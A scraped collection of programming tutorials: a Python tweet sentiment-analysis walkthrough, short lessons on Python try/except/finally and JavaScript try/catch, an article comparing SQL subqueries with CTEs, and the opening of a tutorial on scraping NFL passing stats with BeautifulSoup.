"e": 6036,
"s": 5633,
"text": "#Cleaning Text (RT, Punctuation etc)#Creating new dataframe and new featurestw_list = pd.DataFrame(tweet_list)tw_list[“text”] = tw_list[0]#Removing RT, Punctuation etcremove_rt = lambda x: re.sub(‘RT @\\w+: ‘,” “,x)rt = lambda x: re.sub(“(@[A-Za-z0–9]+)|([0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)”,” “,x)tw_list[“text”] = tw_list.text.map(remove_rt).map(rt)tw_list[“text”] = tw_list.text.str.lower()tw_list.head(10)"
},
{
"code": null,
"e": 6241,
"s": 6036,
"text": "Now, I can use cleaned text to calculate polarity, subjectivity, sentiment, negative, positive, neutral and compound parameters again. For all calculated parameters, I create new features to my data frame"
},
{
"code": null,
"e": 6919,
"s": 6241,
"text": "#Calculating Negative, Positive, Neutral and Compound valuestw_list[[‘polarity’, ‘subjectivity’]] = tw_list[‘text’].apply(lambda Text: pd.Series(TextBlob(Text).sentiment))for index, row in tw_list[‘text’].iteritems(): score = SentimentIntensityAnalyzer().polarity_scores(row) neg = score[‘neg’] neu = score[‘neu’] pos = score[‘pos’] comp = score[‘compound’] if neg > pos: tw_list.loc[index, ‘sentiment’] = “negative” elif pos > neg: tw_list.loc[index, ‘sentiment’] = “positive” else: tw_list.loc[index, ‘sentiment’] = “neutral” tw_list.loc[index, ‘neg’] = neg tw_list.loc[index, ‘neu’] = neu tw_list.loc[index, ‘pos’] = pos tw_list.loc[index, ‘compound’] = comptw_list.head(10)"
},
{
"code": null,
"e": 7119,
"s": 6919,
"text": "You can split your data frame into 3 groups based on sentiment. For this one, create 3 new data frame (tw_list_negative, tw_list_positive, tw_list_neutral) and import from original tw_list data frame"
},
{
"code": null,
"e": 7375,
"s": 7119,
"text": "#Creating new data frames for all sentiments (positive, negative and neutral)tw_list_negative = tw_list[tw_list[“sentiment”]==”negative”]tw_list_positive = tw_list[tw_list[“sentiment”]==”positive”]tw_list_neutral = tw_list[tw_list[“sentiment”]==”neutral”]"
},
{
"code": null,
"e": 7445,
"s": 7375,
"text": "Let’s count values for sentiment features and see total — percentage."
},
{
"code": null,
"e": 7490,
"s": 7445,
"text": "#Function for count_values_in single columns"
},
{
"code": null,
"e": 7813,
"s": 7490,
"text": "def count_values_in_column(data,feature): total=data.loc[:,feature].value_counts(dropna=False) percentage=round(data.loc[:,feature].value_counts(dropna=False,normalize=True)*100,2) return pd.concat([total,percentage],axis=1,keys=[‘Total’,’Percentage’])#Count_values for sentimentcount_values_in_column(tw_list,”sentiment”)"
},
{
"code": null,
"e": 7873,
"s": 7813,
"text": "You can create a chart by using number of sentiment tweets."
},
{
"code": null,
"e": 8191,
"s": 7873,
"text": "# create data for Pie Chartpichart = count_values_in_column(tw_list,”sentiment”)names= pc.indexsize=pc[“Percentage”] # Create a circle for the center of the plotmy_circle=plt.Circle( (0,0), 0.7, color=’white’)plt.pie(size, labels=names, colors=[‘green’,’blue’,’red’])p=plt.gcf()p.gca().add_artist(my_circle)plt.show()"
},
{
"code": null,
"e": 8458,
"s": 8191,
"text": "Now you can prepare to create worcloud using 1281 tweets, So you can realize that which words most used in these tweets. To create a worcloud, firstly let’s define a function below, so you can use wordcloud again for all tweets, positive tweets, negative tweets etc."
},
{
"code": null,
"e": 8810,
"s": 8458,
"text": "#Function to Create Wordclouddef create_wordcloud(text): mask = np.array(Image.open(“cloud.png”)) stopwords = set(STOPWORDS) wc = WordCloud(background_color=”white”, mask = mask, max_words=3000, stopwords=stopwords, repeat=True) wc.generate(str(text)) wc.to_file(“wc.png”) print(“Word Cloud Saved Successfully”) path=”wc.png” display(Image.open(path))"
},
{
"code": null,
"e": 8884,
"s": 8810,
"text": "After defining the function, you can have a look wordcloud for all tweets"
},
{
"code": null,
"e": 8959,
"s": 8884,
"text": "#Creating wordcloud for all tweetscreate_wordcloud(tw_list[“text”].values)"
},
{
"code": null,
"e": 9012,
"s": 8959,
"text": "Word Cloud for tweets that have positive sentiments;"
},
{
"code": null,
"e": 9104,
"s": 9012,
"text": "#Creating wordcloud for positive sentimentcreate_wordcloud(tw_list_positive[“text”].values)"
},
{
"code": null,
"e": 9157,
"s": 9104,
"text": "Word Cloud for tweets that have negative sentiments;"
},
{
"code": null,
"e": 9249,
"s": 9157,
"text": "#Creating wordcloud for negative sentimentcreate_wordcloud(tw_list_negative[“text”].values)"
},
{
"code": null,
"e": 9394,
"s": 9249,
"text": "Let’s calculate the tweet length and word count. So you can see the density of words and characters used in tweets based on different sentiment."
},
{
"code": null,
"e": 9645,
"s": 9394,
"text": "#Calculating tweet’s lenght and word counttw_list[‘text_len’] = tw_list[‘text’].astype(str).apply(len)tw_list[‘text_word_count’] = tw_list[‘text’].apply(lambda x: len(str(x).split()))round(pd.DataFrame(tw_list.groupby(\"sentiment\").text_len.mean()),2)"
},
{
"code": null,
"e": 9720,
"s": 9645,
"text": "round(pd.DataFrame(tw_list.groupby(“sentiment”).text_word_count.mean()),2)"
},
{
"code": null,
"e": 10013,
"s": 9720,
"text": "Applying count vectorizer provides the capability to preprocess your text data prior to generating the vector representation making it a highly flexible feature representation module for text. After count vectorizer, it is possible to analyze the words with two or three or whatever you want."
},
{
"code": null,
"e": 10133,
"s": 10013,
"text": "Applying stemmer is also provides the root of words. So you can eliminate words that come from the same root, such as ;"
},
{
"code": null,
"e": 10141,
"s": 10133,
"text": "connect"
},
{
"code": null,
"e": 10152,
"s": 10141,
"text": "connection"
},
{
"code": null,
"e": 10162,
"s": 10152,
"text": "connected"
},
{
"code": null,
"e": 10174,
"s": 10162,
"text": "connections"
},
{
"code": null,
"e": 10183,
"s": 10174,
"text": "connects"
},
{
"code": null,
"e": 10281,
"s": 10183,
"text": "comes from “connect”. If you apply the stemmer function, you can consider these all words as same"
},
{
"code": null,
"e": 11494,
"s": 10281,
"text": "#Removing Punctuationdef remove_punct(text): text = “”.join([char for char in text if char not in string.punctuation]) text = re.sub(‘[0–9]+’, ‘’, text) return texttw_list[‘punct’] = tw_list[‘text’].apply(lambda x: remove_punct(x))#Appliyng tokenizationdef tokenization(text): text = re.split('\\W+', text) return texttw_list['tokenized'] = tw_list['punct'].apply(lambda x: tokenization(x.lower()))#Removing stopwordsstopword = nltk.corpus.stopwords.words('english')def remove_stopwords(text): text = [word for word in text if word not in stopword] return text tw_list['nonstop'] = tw_list['tokenized'].apply(lambda x: remove_stopwords(x))#Appliyng Stemmerps = nltk.PorterStemmer()def stemming(text): text = [ps.stem(word) for word in text] return texttw_list['stemmed'] = tw_list['nonstop'].apply(lambda x: stemming(x))#Cleaning Textdef clean_text(text): text_lc = \"\".join([word.lower() for word in text if word not in string.punctuation]) # remove puntuation text_rc = re.sub('[0-9]+', '', text_lc) tokens = re.split('\\W+', text_rc) # tokenization text = [ps.stem(word) for word in tokens if word not in stopword] # remove stopwords and stemming return texttw_list.head()"
},
{
"code": null,
"e": 11587,
"s": 11494,
"text": "After applying countverctorizer, two results show us all 1281 tweets have 2966 unique words."
},
{
"code": null,
"e": 11694,
"s": 11587,
"text": "If you have a look at our data frame, you can see new features such as punct, tokenized, nonstop, stemmed."
},
{
"code": null,
"e": 11778,
"s": 11694,
"text": "Now, you can apply coun vectorizer the see all 2966 unique words as a new features."
},
{
"code": null,
"e": 12208,
"s": 11778,
"text": "#Appliyng CountvectorizercountVectorizer = CountVectorizer(analyzer=clean_text) countVector = countVectorizer.fit_transform(tw_list[‘text’])print(‘{} Number of reviews has {} words’.format(countVector.shape[0], countVector.shape[1]))#print(countVectorizer.get_feature_names())1281 Number of reviews has 2966 wordscount_vect_df = pd.DataFrame(countVector.toarray(), columns=countVectorizer.get_feature_names())count_vect_df.head()"
},
{
"code": null,
"e": 12267,
"s": 12208,
"text": "You can sort values as a descending to see most used words"
},
{
"code": null,
"e": 12394,
"s": 12267,
"text": "# Most Used Wordscount = pd.DataFrame(count_vect_df.sum())countdf = count.sort_values(0,ascending=False).head(20)countdf[1:11]"
},
{
"code": null,
"e": 12558,
"s": 12394,
"text": "Building n gram model helps us to predict most probably word that might follow this sequence. Firstly let’s create a function then built n2_bigram, n3_trigram etc."
},
{
"code": null,
"e": 13024,
"s": 12558,
"text": "#Function to ngramdef get_top_n_gram(corpus,ngram_range,n=None): vec = CountVectorizer(ngram_range=ngram_range,stop_words = ‘english’).fit(corpus) bag_of_words = vec.transform(corpus) sum_words = bag_of_words.sum(axis=0) words_freq = [(word, sum_words[0, idx]) for word, idx in vec.vocabulary_.items()] words_freq =sorted(words_freq, key = lambda x: x[1], reverse=True) return words_freq[:n]#n2_bigramn2_bigrams = get_top_n_gram(tw_list[‘text’],(2,2),20)n2_bigrams"
},
{
"code": null,
"e": 13101,
"s": 13024,
"text": "#n3_trigramn3_trigrams = get_top_n_gram(tw_list[‘text’],(3,3),20)n3_trigrams"
},
{
"code": null,
"e": 13222,
"s": 13101,
"text": "Finally, you can analyze sentiment using tweets and you can realize which words most used and which words used together."
}
] |
Explain try, except and finally statements in Python.
|
In exception handling in Python, we use the try and except statements to catch and handle exceptions. The code within the try clause is executed statement by statement.
If an exception occurs, the rest of the try block is skipped and the except clause is executed.
try:
'apple' + 6
except Exception:
print "Cannot concatenate 'str' and 'int' objects"
Cannot concatenate 'str' and 'int' objects
We avoid the traceback error message elegantly with a simple message like above by using try except statements for exception handling.
In addition to using an except block after the try block, we can also use the finally block. The finally clause is optional. It is intended to define clean-up actions that must be executed under all circumstances
A finally clause is always executed before leaving the try statement, whether an exception has occurred or not.
Actions, like closing a file, GUI or disconnecting from the network, are performed in the finally clause to guarantee execution.
Here is an example of file operations to illustrate finally statement.
try:
f = open("foo.txt",encoding = 'utf-8')
# perform file operations
finally:
f.close()
This type of statement makes sure that the file is closed whether an exception occurs or not.
|
[
{
"code": null,
"e": 1231,
"s": 1062,
"text": "In exception handling in Python, we use the try and except statements to catch and handle exceptions. The code within the try clause is executed statement by statement."
},
{
"code": null,
"e": 1327,
"s": 1231,
"text": "If an exception occurs, the rest of the try block is skipped and the except clause is executed."
},
{
"code": null,
"e": 1413,
"s": 1327,
"text": "try:\n'apple' + 6\nexcept Exception:\nprint \"Cannot concatenate 'str' and 'int' objects\""
},
{
"code": null,
"e": 1456,
"s": 1413,
"text": "Cannot concatenate 'str' and 'int' objects"
},
{
"code": null,
"e": 1591,
"s": 1456,
"text": "We avoid the traceback error message elegantly with a simple message like above by using try except statements for exception handling."
},
{
"code": null,
"e": 1804,
"s": 1591,
"text": "In addition to using an except block after the try block, we can also use the finally block. The finally clause is optional. It is intended to define clean-up actions that must be executed under all circumstances"
},
{
"code": null,
"e": 1916,
"s": 1804,
"text": "A finally clause is always executed before leaving the try statement, whether an exception has occurred or not."
},
{
"code": null,
"e": 2045,
"s": 1916,
"text": "Actions, like closing a file, GUI or disconnecting from the network, are performed in the finally clause to guarantee execution."
},
{
"code": null,
"e": 2116,
"s": 2045,
"text": "Here is an example of file operations to illustrate finally statement."
},
{
"code": null,
"e": 2205,
"s": 2116,
"text": "try:\nf = open(\"foo.txt\",encoding = 'utf-8')\n# perform file operations\nfinally:\nf.close()"
},
{
"code": null,
"e": 2299,
"s": 2205,
"text": "This type of statement makes sure that the file is closed whether an exception occurs or not."
}
] |
Explain try and catch statements in JavaScript with examples.
|
The try statement allows us execute a block of code and test for errors. Those errors are then caught and handle by the catch statement.
Following is the code for try and catch statement in JavaScript −
Live Demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
<style>
body {
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
}
.result {
font-size: 20px;
font-weight: 500;
}
</style>
</head>
<body>
<h1>Try and catch in JavaScript</h1>
<div style="color: green;" class="result"></div>
<button class="Btn">CLICK HERE</button>
<h3>
Click on the above button to call a variable before it is defined
</h3>
<script>
let resEle = document.querySelector(".result");
document.querySelector(".Btn").addEventListener("click", () => {
try {
resEle.innerHTML = a;
}
catch (err) {
resEle.innerHTML = "Error = " + err;
}
let a = 44;
});
</script>
</body>
</html>
The above code will produce the following output −
On clicking the ‘CLICK HERE’ button −
|
[
{
"code": null,
"e": 1199,
"s": 1062,
"text": "The try statement allows us execute a block of code and test for errors. Those errors are then caught and handle by the catch statement."
},
{
"code": null,
"e": 1265,
"s": 1199,
"text": "Following is the code for try and catch statement in JavaScript −"
},
{
"code": null,
"e": 1276,
"s": 1265,
"text": " Live Demo"
},
{
"code": null,
"e": 2125,
"s": 1276,
"text": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<title>Document</title>\n<style>\n body {\n font-family: \"Segoe UI\", Tahoma, Geneva, Verdana, sans-serif;\n }\n .result {\n font-size: 20px;\n font-weight: 500;\n }\n</style>\n</head>\n<body>\n<h1>Try and catch in JavaScript</h1>\n<div style=\"color: green;\" class=\"result\"></div>\n<button class=\"Btn\">CLICK HERE</button>\n<h3>\nClick on the above button to call a variable before it is defined\n</h3>\n<script>\n let resEle = document.querySelector(\".result\");\n document.querySelector(\".Btn\").addEventListener(\"click\", () => {\n try {\n resEle.innerHTML = a;\n }\n catch (err) {\n resEle.innerHTML = \"Error = \" + err;\n }\n let a = 44;\n });\n</script>\n</body>\n</html>"
},
{
"code": null,
"e": 2176,
"s": 2125,
"text": "The above code will produce the following output −"
},
{
"code": null,
"e": 2214,
"s": 2176,
"text": "On clicking the ‘CLICK HERE’ button −"
}
] |
SQL for Data Analysis: Subquery vs. CTE | by Aaron Zhu | Towards Data Science
|
SQL is an essential skill for data science professionals. Many companies store their data in a relational database system, such as MySQL, PostgreSQL, MS SQL Server, SQLite. SQL is the programming language we need to interact with them. We can write a SQL query to select, filter, transform, insert, update, and delete the underlying data in the database.
Not only SQL can be used to query a database, it can also be used for data analysis. Both Subquery and CTE (Common Table Expression) are useful tools we can use to write a complex SQL query to implement data analysis, in a similar way as other data science tools, such as Pandas in Python and dplyr in R.
In this article, I will explain the similarities and differences between Subquery and CTE.
I will use a common SQL interview problem to demonstrate the similarity between Subquery and CTE.
SQL Problem:
Distance Per DollarYou’re given a dataset of Uber rides with the traveling distance ("distance_to_travel") and cost ("monetary_cost") for each ride. For each date, find the difference between the distance-per-dollar for that date and the average distance-per-dollar for that year-month. Distance-per-dollar is defined as the distance traveled divided by the cost of the ride. The output should include the year-month (YYYY-MM) and the average difference in distance-per-dollar for said year-month as an absolute value rounded to the 2nd decimal. You should also count both success and failed request_status as the distance and cost values are populated for all ride requests. Also, assume that all dates are unique in the dataset. Order your results by the earliest request date first.Source: stratascratch.com
The following are steps we need to take to solve this problem:
Step 1: At a given day, compute distance-per-cost and create year-month based on that day
Step 2: Use a window function to compute average distance-per-cost at year-month level
Step 3: Use an aggregation function to compute the average of the absolute difference between daily distance-per-cost and monthly distance-per-cost at year-month level
Step 4: Order output by earliest year-month
A subquery, as its name suggests, is a query inside a query. To use a subquery, we simply add parentheses and put the query inside them. The output that is created by a subquery would act as a temporary table. After we execute the whole statement, the temporary subquery would be gone automatically.
For this SQL problem, if we’re using Subquery, we will end up having multiple nested subqueries.
Step 1: We create an inner query (a) to compute daily distance-per-cost and create a new column, year-month using TO_CHAR .
SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month (distance_to_travel/monetary_cost) AS daily_dis_to_costFROM uber_request_logs
Step 2: We create another nested subquery (b) to compute monthly average distance-per-cost using a window function AVG(a.daily_dis_to_cost) OVER (PARTITION BY a.month) . With a window function, the output will have the same number of rows as original data set.
SELECT a.request_date, a.month, a.daily_dis_to_cost, AVG(a.daily_dis_to_cost) OVER(PARTITION BY a.month) AS monthly_dist_to_cost FROM (SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month, (distance_to_travel/monetary_cost) AS daily_dis_to_cost FROM uber_request_logs) a ORDER BY request_date
Intermediate Output:
Step 3&4, we run the outer query to implement an aggregation function AVG(ABS(b.daily_dis_to_cost-b.monthly_dis_to_cost)) and GROUP BY b.month to compute the average of the absolute difference between daily distance-per-cost and monthly distance-per-cost at year-month level. Lastly, we order by the output by month.
SELECT b.month, ROUND(AVG(ABS(b.daily_dis_to_cost-b.monthly_dist_to_cost))::DECIMAL, 2) AS avg_diffFROM (SELECT a.request_date, a.month, a.daily_dis_to_cost, AVG(a.daily_dis_to_cost) OVER(PARTITION BY a.month) AS monthly_dist_to_cost FROM (SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month, (distance_to_travel/monetary_cost) AS daily_dis_to_cost FROM uber_request_logs) a ORDER BY request_date) bGROUP BY b.monthORDER BY b.month
A CTE (aka common table expression) is a query that we create using WITH clause before writing the main query. We can simply use its output as a temporary table, just like a subquery. Similar to subqueries, we can also create multiple CTEs.
To solve the above SQL problem using CTE, we would create multiple CTEs (cte1 and cte2), which are equivalent to subqueries (a and b) mentioned above.
WITH cte1 AS( SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month, (distance_to_travel/monetary_cost) AS daily_dis_to_cost FROM uber_request_logs),cte2 AS( SELECT request_date, month, daily_dis_to_cost, AVG(daily_dis_to_cost) OVER(PARTITION BY month) AS monthly_dis_to_cost FROM cte1 ORDER BY request_date)SELECT month, ROUND(AVG(ABS(daily_dis_to_cost-monthly_dis_to_cost))::DECIMAL, 2) AS avg_diffFROM cte2GROUP BY monthORDER BY month
The results produced by subquery and CTE are exactly the same. At first, we might think there are not much differences between these two tools, except the syntax. In the next section, we will discuss the difference between the two and when to use each one.
CTE can be reusable: One advantage of using CTE is CTE is reusable by design. Instead of having to declare the same subquery in every place you need to use it, you can use CTE to define a temporary table once, then refer to it whenever you need it.
CTE can be more readable: Another advantage of CTE is CTE are more readable than Subqueries. Since CTE can be reusable, you can write less code using CTE than using subquery. Also, people tend to follow the logic and ideas easier in sequence than in a nested fashion. When you write a query, it is easier to break down a complex query into smaller pieces using CTE.
CTEs can be recursive: A CTE can be used recursively, which a subquery cannot. This makes it especially well suited to tree structures, in which information in a given row is based on the information from the previous row(s). The recursion feature can be implemented with RECURSIVE and UNION ALL.
WITH RECURSIVE [cte_name] (column, ...) AS ( [non-recursive_term]UNION ALL [recursive_term])SELECT ... FROM [cte_name];
Let’s create the Fibonacci sequence (Each number in the sequence is the sum of the two numbers that precede it.) using the recursion feature of CTE.
WITH RECURSIVE fib(f1, f2) AS ( SELECT 0, 1 UNION ALL SELECT f2, (f1+f2) FROM fib ) SELECT f1 FROM fib LIMIT 10;
Output:
We’ve discussed few differences between CTE and subquery so far. It looks like CTE has more advantages than subquery. But in the next section, we’re going to talk about features of subquery, that can’t be achieved using CTE.
Subquery can be used in WHERE clause: We can use a subquery to return a value, then use it in the WHERE clause. In the following example, we would like to return employees who have a salary above the average salary. It would be easy to implement with a subquery, which computes the average salary.
SELECT employee_name, salary FROM sampleWHERE salary > (SELECT AVG(salary) FROM sample)
Subquery can act as a column with a single value: You can also use a subquery as a new column. The only constraint is that the subquery must return only one value. In the following example, we would like to add a new column, that contains the average salary. We can use a subquery to compute the average salary, then include it in SELECT statement.
SELECT employee_name, salary, (SELECT AVG(salary) FROM sample) AS average_salaryFROM sample
Subquery can be used with CORRELATED SUBQUERY: Unlike CTE, we can use an inner subquery as a correlated subquery. That means for each record processed by an outer query, an inner query will be executed.
In the following example, we would like to return the employee with the second highest salary. Here is what we’re going to do to solve this problem using a correlated subquery. For each employee (in the outer query (a)), we compute the number of employees (in the inner query (b)), who have higher salaries than a given employee. If there is only one other employee who has a higher salary than this given employee, we keep this employee.
SELECT employee_name, salaryFROM sample aWHERE 1 = (SELECT COUNT(DISTINCT(salary)) FROM sample b WHERE a.salary < b.salary)
But keep in mind that because the inner subquery would be evaluated every time when each row is processed by the outer query, it could be slow.
You can sign up for a membership to unlock full access to my articles, and have unlimited access to everything on Medium. Please subscribe if you’d like to get an email notification whenever I post a new article.
|
[
{
"code": null,
"e": 527,
"s": 172,
"text": "SQL is an essential skill for data science professionals. Many companies store their data in a relational database system, such as MySQL, PostgreSQL, MS SQL Server, SQLite. SQL is the programming language we need to interact with them. We can write a SQL query to select, filter, transform, insert, update, and delete the underlying data in the database."
},
{
"code": null,
"e": 832,
"s": 527,
"text": "Not only SQL can be used to query a database, it can also be used for data analysis. Both Subquery and CTE (Common Table Expression) are useful tools we can use to write a complex SQL query to implement data analysis, in a similar way as other data science tools, such as Pandas in Python and dplyr in R."
},
{
"code": null,
"e": 923,
"s": 832,
"text": "In this article, I will explain the similarities and differences between Subquery and CTE."
},
{
"code": null,
"e": 1021,
"s": 923,
"text": "I will use a common SQL interview problem to demonstrate the similarity between Subquery and CTE."
},
{
"code": null,
"e": 1034,
"s": 1021,
"text": "SQL Problem:"
},
{
"code": null,
"e": 1846,
"s": 1034,
"text": "Distance Per DollarYou’re given a dataset of Uber rides with the traveling distance (\"distance_to_travel\") and cost (\"monetary_cost\") for each ride. For each date, find the difference between the distance-per-dollar for that date and the average distance-per-dollar for that year-month. Distance-per-dollar is defined as the distance traveled divided by the cost of the ride. The output should include the year-month (YYYY-MM) and the average difference in distance-per-dollar for said year-month as an absolute value rounded to the 2nd decimal. You should also count both success and failed request_status as the distance and cost values are populated for all ride requests. Also, assume that all dates are unique in the dataset. Order your results by the earliest request date first.Source: stratascratch.com"
},
{
"code": null,
"e": 1909,
"s": 1846,
"text": "The following are steps we need to take to solve this problem:"
},
{
"code": null,
"e": 1999,
"s": 1909,
"text": "Step 1: At a given day, compute distance-per-cost and create year-month based on that day"
},
{
"code": null,
"e": 2086,
"s": 1999,
"text": "Step 2: Use a window function to compute average distance-per-cost at year-month level"
},
{
"code": null,
"e": 2254,
"s": 2086,
"text": "Step 3: Use an aggregation function to compute the average of the absolute difference between daily distance-per-cost and monthly distance-per-cost at year-month level"
},
{
"code": null,
"e": 2298,
"s": 2254,
"text": "Step 4: Order output by earliest year-month"
},
{
"code": null,
"e": 2598,
"s": 2298,
"text": "A subquery, as its name suggests, is a query inside a query. To use a subquery, we simply add parentheses and put the query inside them. The output that is created by a subquery would act as a temporary table. After we execute the whole statement, the temporary subquery would be gone automatically."
},
{
"code": null,
"e": 2695,
"s": 2598,
"text": "For this SQL problem, if we’re using Subquery, we will end up having multiple nested subqueries."
},
{
"code": null,
"e": 2819,
"s": 2695,
"text": "Step 1: We create an inner query (a) to compute daily distance-per-cost and create a new column, year-month using TO_CHAR ."
},
{
"code": null,
"e": 2959,
"s": 2819,
"text": "SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month (distance_to_travel/monetary_cost) AS daily_dis_to_costFROM uber_request_logs"
},
{
"code": null,
"e": 3220,
"s": 2959,
"text": "Step 2: We create another nested subquery (b) to compute monthly average distance-per-cost using a window function AVG(a.daily_dis_to_cost) OVER (PARTITION BY a.month) . With a window function, the output will have the same number of rows as original data set."
},
{
"code": null,
"e": 3554,
"s": 3220,
"text": "SELECT a.request_date, a.month, a.daily_dis_to_cost, AVG(a.daily_dis_to_cost) OVER(PARTITION BY a.month) AS monthly_dist_to_cost FROM (SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month, (distance_to_travel/monetary_cost) AS daily_dis_to_cost FROM uber_request_logs) a ORDER BY request_date"
},
{
"code": null,
"e": 3575,
"s": 3554,
"text": "Intermediate Output:"
},
{
"code": null,
"e": 3892,
"s": 3575,
"text": "Step 3&4, we run the outer query to implement an aggregation function AVG(ABS(b.daily_dis_to_cost-b.monthly_dis_to_cost)) and GROUP BY b.month to compute the average of the absolute difference between daily distance-per-cost and monthly distance-per-cost at year-month level. Lastly, we order by the output by month."
},
{
"code": null,
"e": 4416,
"s": 3892,
"text": "SELECT b.month, ROUND(AVG(ABS(b.daily_dis_to_cost-b.monthly_dist_to_cost))::DECIMAL, 2) AS avg_diffFROM (SELECT a.request_date, a.month, a.daily_dis_to_cost, AVG(a.daily_dis_to_cost) OVER(PARTITION BY a.month) AS monthly_dist_to_cost FROM (SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month, (distance_to_travel/monetary_cost) AS daily_dis_to_cost FROM uber_request_logs) a ORDER BY request_date) bGROUP BY b.monthORDER BY b.month"
},
{
"code": null,
"e": 4657,
"s": 4416,
"text": "A CTE (aka common table expression) is a query that we create using WITH clause before writing the main query. We can simply use its output as a temporary table, just like a subquery. Similar to subqueries, we can also create multiple CTEs."
},
{
"code": null,
"e": 4808,
"s": 4657,
"text": "To solve the above SQL problem using CTE, we would create multiple CTEs (cte1 and cte2), which are equivalent to subqueries (a and b) mentioned above."
},
{
"code": null,
"e": 5315,
"s": 4808,
"text": "WITH cte1 AS( SELECT *, TO_CHAR(request_date::DATE, 'YYYY-MM') AS month, (distance_to_travel/monetary_cost) AS daily_dis_to_cost FROM uber_request_logs),cte2 AS( SELECT request_date, month, daily_dis_to_cost, AVG(daily_dis_to_cost) OVER(PARTITION BY month) AS monthly_dis_to_cost FROM cte1 ORDER BY request_date)SELECT month, ROUND(AVG(ABS(daily_dis_to_cost-monthly_dis_to_cost))::DECIMAL, 2) AS avg_diffFROM cte2GROUP BY monthORDER BY month"
},
{
"code": null,
"e": 5572,
"s": 5315,
"text": "The results produced by subquery and CTE are exactly the same. At first, we might think there are not much differences between these two tools, except the syntax. In the next section, we will discuss the difference between the two and when to use each one."
},
{
"code": null,
"e": 5821,
"s": 5572,
"text": "CTE can be reusable: One advantage of using CTE is CTE is reusable by design. Instead of having to declare the same subquery in every place you need to use it, you can use CTE to define a temporary table once, then refer to it whenever you need it."
},
{
"code": null,
"e": 6187,
"s": 5821,
"text": "CTE can be more readable: Another advantage of CTE is CTE are more readable than Subqueries. Since CTE can be reusable, you can write less code using CTE than using subquery. Also, people tend to follow the logic and ideas easier in sequence than in a nested fashion. When you write a query, it is easier to break down a complex query into smaller pieces using CTE."
},
{
"code": null,
"e": 6484,
"s": 6187,
"text": "CTEs can be recursive: A CTE can be used recursively, which a subquery cannot. This makes it especially well suited to tree structures, in which information in a given row is based on the information from the previous row(s). The recursion feature can be implemented with RECURSIVE and UNION ALL."
},
{
"code": null,
"e": 6606,
"s": 6484,
"text": "WITH RECURSIVE [cte_name] (column, ...) AS ( [non-recursive_term]UNION ALL [recursive_term])SELECT ... FROM [cte_name];"
},
{
"code": null,
"e": 6755,
"s": 6606,
"text": "Let’s create the Fibonacci sequence (Each number in the sequence is the sum of the two numbers that precede it.) using the recursion feature of CTE."
},
{
"code": null,
"e": 6879,
"s": 6755,
"text": "WITH RECURSIVE fib(f1, f2) AS ( SELECT 0, 1 UNION ALL SELECT f2, (f1+f2) FROM fib ) SELECT f1 FROM fib LIMIT 10;"
},
{
"code": null,
"e": 6887,
"s": 6879,
"text": "Output:"
},
{
"code": null,
"e": 7112,
"s": 6887,
"text": "We’ve discussed few differences between CTE and subquery so far. It looks like CTE has more advantages than subquery. But in the next section, we’re going to talk about features of subquery, that can’t be achieved using CTE."
},
{
"code": null,
"e": 7410,
"s": 7112,
"text": "Subquery can be used in WHERE clause: We can use a subquery to return a value, then use it in the WHERE clause. In the following example, we would like to return employees who have a salary above the average salary. It would be easy to implement with a subquery, which computes the average salary."
},
{
"code": null,
"e": 7502,
"s": 7410,
"text": "SELECT employee_name, salary FROM sampleWHERE salary > (SELECT AVG(salary) FROM sample)"
},
{
"code": null,
"e": 7851,
"s": 7502,
"text": "Subquery can act as a column with a single value: You can also use a subquery as a new column. The only constraint is that the subquery must return only one value. In the following example, we would like to add a new column, that contains the average salary. We can use a subquery to compute the average salary, then include it in SELECT statement."
},
{
"code": null,
"e": 7949,
"s": 7851,
"text": "SELECT employee_name, salary, (SELECT AVG(salary) FROM sample) AS average_salaryFROM sample"
},
{
"code": null,
"e": 8152,
"s": 7949,
"text": "Subquery can be used with CORRELATED SUBQUERY: Unlike CTE, we can use an inner subquery as a correlated subquery. That means for each record processed by an outer query, an inner query will be executed."
},
{
"code": null,
"e": 8591,
"s": 8152,
"text": "In the following example, we would like to return the employee with the second highest salary. Here is what we’re going to do to solve this problem using a correlated subquery. For each employee (in the outer query (a)), we compute the number of employees (in the inner query (b)), who have higher salaries than a given employee. If there is only one other employee who has a higher salary than this given employee, we keep this employee."
},
{
"code": null,
"e": 8718,
"s": 8591,
"text": "SELECT employee_name, salaryFROM sample aWHERE 1 = (SELECT COUNT(DISTINCT(salary)) FROM sample b WHERE a.salary < b.salary)"
},
{
"code": null,
"e": 8862,
"s": 8718,
"text": "But keep in mind that because the inner subquery would be evaluated every time when each row is processed by the outer query, it could be slow."
}
] |
Using Python to Scrape NFL Stats and Compare Quarterback Efficiencies | by Naveen Venkatesan | Towards Data Science
|
I have always been apprehensive about trying to scrape my own data, and the fact that websites like Kaggle aggregate such high quality datasets has made learning this skill less of a need. However, the abundance of educational articles on data science on this platform have helped me make progress towards collecting my own datasets. A lot of the inspiration and methods for scraping data came from here.
In this article, I will pull quarterback stats from the 2019–20 NFL season from Pro Football Reference, and use them to create radar charts to assess QB efficiency.
To open the webpage and scrape the data, we will use two modules, urllib.request to open the URL, and BeautifulSoup to parse through the HTML.
# Import scraping modulesfrom urllib.request import urlopenfrom bs4 import BeautifulSoup
In addition to these packages, we will need some packages to manipulate data, numpy and pandas, and plot our data, matplotlib.
# Import data manipulation modulesimport pandas as pdimport numpy as np# Import data visualization modulesimport matplotlib as mplimport matplotlib.pyplot as plt
The data we are going to import is the NFL passing data from the 2019 season, which can be found here. We open the site and pass it to BeautifulSoup with the following:
# URL of pageurl = 'https://www.pro-football-reference.com/years/2019/passing.htm'# Open URL and pass to BeautifulSouphtml = urlopen(url)stats_page = BeautifulSoup(html)
Note that we can easily adapt all of this analysis to previous years by changing the 2019 in URL to the year of your choosing.
